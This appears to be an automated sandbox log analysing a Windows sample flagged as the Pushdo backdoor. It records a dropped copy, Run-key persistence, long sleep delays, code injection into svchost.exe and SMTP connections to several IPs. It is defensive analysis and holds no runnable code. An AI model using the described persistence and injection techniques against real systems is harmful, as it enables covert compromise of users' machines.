Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: unknown	Process created: C:\Users\user\pigalicapi.exe "C:\Users\user\pigalicapi.exe"
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: napinsp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wshbth.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winrnr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll

Source: yGktPvplJn.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: yGktPvplJn.exe

Static file information: File size 1948160 > 1048576

Source: yGktPvplJn.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x102600

Source: yGktPvplJn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: yGktPvplJn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: yGktPvplJn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: yGktPvplJn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: yGktPvplJn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: yGktPvplJn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: yGktPvplJn.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: yGktPvplJn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: yGktPvplJn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: yGktPvplJn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: yGktPvplJn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: yGktPvplJn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 4_2_0408BF20 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

4_2_0408BF20

Source: pigalicapi.exe.0.dr	Static PE information: real checksum: 0x1d0ab7 should be: 0x1e0760
Source: yGktPvplJn.exe	Static PE information: real checksum: 0x1d0ab7 should be: 0x1e0760

Source: yGktPvplJn.exe	Static PE information: section name: .detourc
Source: yGktPvplJn.exe	Static PE information: section name: .detourd
Source: pigalicapi.exe.0.dr	Static PE information: section name: .detourc
Source: pigalicapi.exe.0.dr	Static PE information: section name: .detourd

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_04009D2D push ecx; ret	4_2_04009D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_04000E0A push ebp; ret	4_2_04000E0B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_0408B08C push es; iretd	4_2_0408B09A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_0408B0CB push 7240BFEDh; ret	4_2_0408B0D2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_0408A9BB push E44F2B70h; ret	4_2_0408AA63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_0408AA04 push E44F2B70h; ret	4_2_0408AA63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_0408B378 push eax; ret	4_2_0408B389
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_0408B3D9 pushfd ; ret	4_2_0408B3E0

Persistence and Installation Behavior

Yara detected Backdoor Pushdo

Source: Yara match	File source: 12.2.svchost.exe.4004000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4004000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.4004000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.svchost.exe.4000000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4004000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4004000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.4000000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4004000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.svchost.exe.4004000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4000000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4000000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.4004000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4004000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4004000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.svchost.exe.4000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4004000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.svchost.exe.4004000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.4004000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.4000000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.svchost.exe.4004000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.4000000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4000000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4004000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.svchost.exe.4000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.4004000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.4000000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.svchost.exe.4000000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3364967602.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3435716835.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3436507644.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3403881757.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3435918622.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3568343240.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3395101428.0000000004000000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\yGktPvplJn.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Source: C:\Users\user\Desktop\yGktPvplJn.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\yGktPvplJn.exe

File created: C:\Users\user\pigalicapi.exe

Jump to dropped file

Source: C:\Users\user\Desktop\yGktPvplJn.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run pigalicapi			Jump to behavior

Source: C:\Users\user\Desktop\yGktPvplJn.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_4-17676

Source: C:\Users\user\Desktop\yGktPvplJn.exe TID: 6568	Thread sleep time: -35000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\yGktPvplJn.exe TID: 3748	Thread sleep time: -64800000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 768	Thread sleep time: -43200000s >= -30000s	Jump to behavior
Source: C:\Users\user\pigalicapi.exe TID: 3628	Thread sleep time: -43200000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\yGktPvplJn.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\yGktPvplJn.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Thread delayed: delay time: 21600000	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_4-17599
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_4-17606
Source: C:\Windows\SysWOW64\svchost.exe	API call chain: ExitProcess graph end node	graph_4-17717

Source: C:\Users\user\Desktop\yGktPvplJn.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 4_2_0408BF20 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

4_2_0408BF20

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_00401005 mov eax, dword ptr fs:[00000030h]		4_2_00401005
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4_2_04001A30 mov eax, dword ptr fs:[00000030h]		4_2_04001A30

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 4_2_04001470 GetProcessHeap,RtlAllocateHeap,

4_2_04001470

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.226.70.66 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.218.88.163 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.205.70.128 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 87.248.97.31 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.218.88.167 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 74.125.133.27 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.251.168.27 25	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\pigalicapi.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 400000 protect: page execute and read and write			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 4_2_04001F80 GetEnvironmentVariableA,lstrcat,lstrcat,lstrcat,VirtualAlloc,CreateProcessA,VirtualFree,VirtualAllocEx,VirtualAllocEx,TerminateProcess,CloseHandle,CloseHandle,VirtualFree,WriteProcessMemory,TerminateProcess,CloseHandle,CloseHandle,VirtualFree,VirtualFree,GetThreadContext,TerminateProcess,CloseHandle,CloseHandle,WriteProcessMemory,TerminateProcess,CloseHandle,CloseHandle,SetThreadContext,ResumeThread,TerminateProcess,CloseHandle,CloseHandle,

4_2_04001F80

Contains functionality to inject threads in other processes

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 4_2_04001DC0 VirtualAlloc,VirtualAllocEx,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,VirtualFree,CreateRemoteThread,

4_2_04001DC0

Injects a PE file into a foreign processes

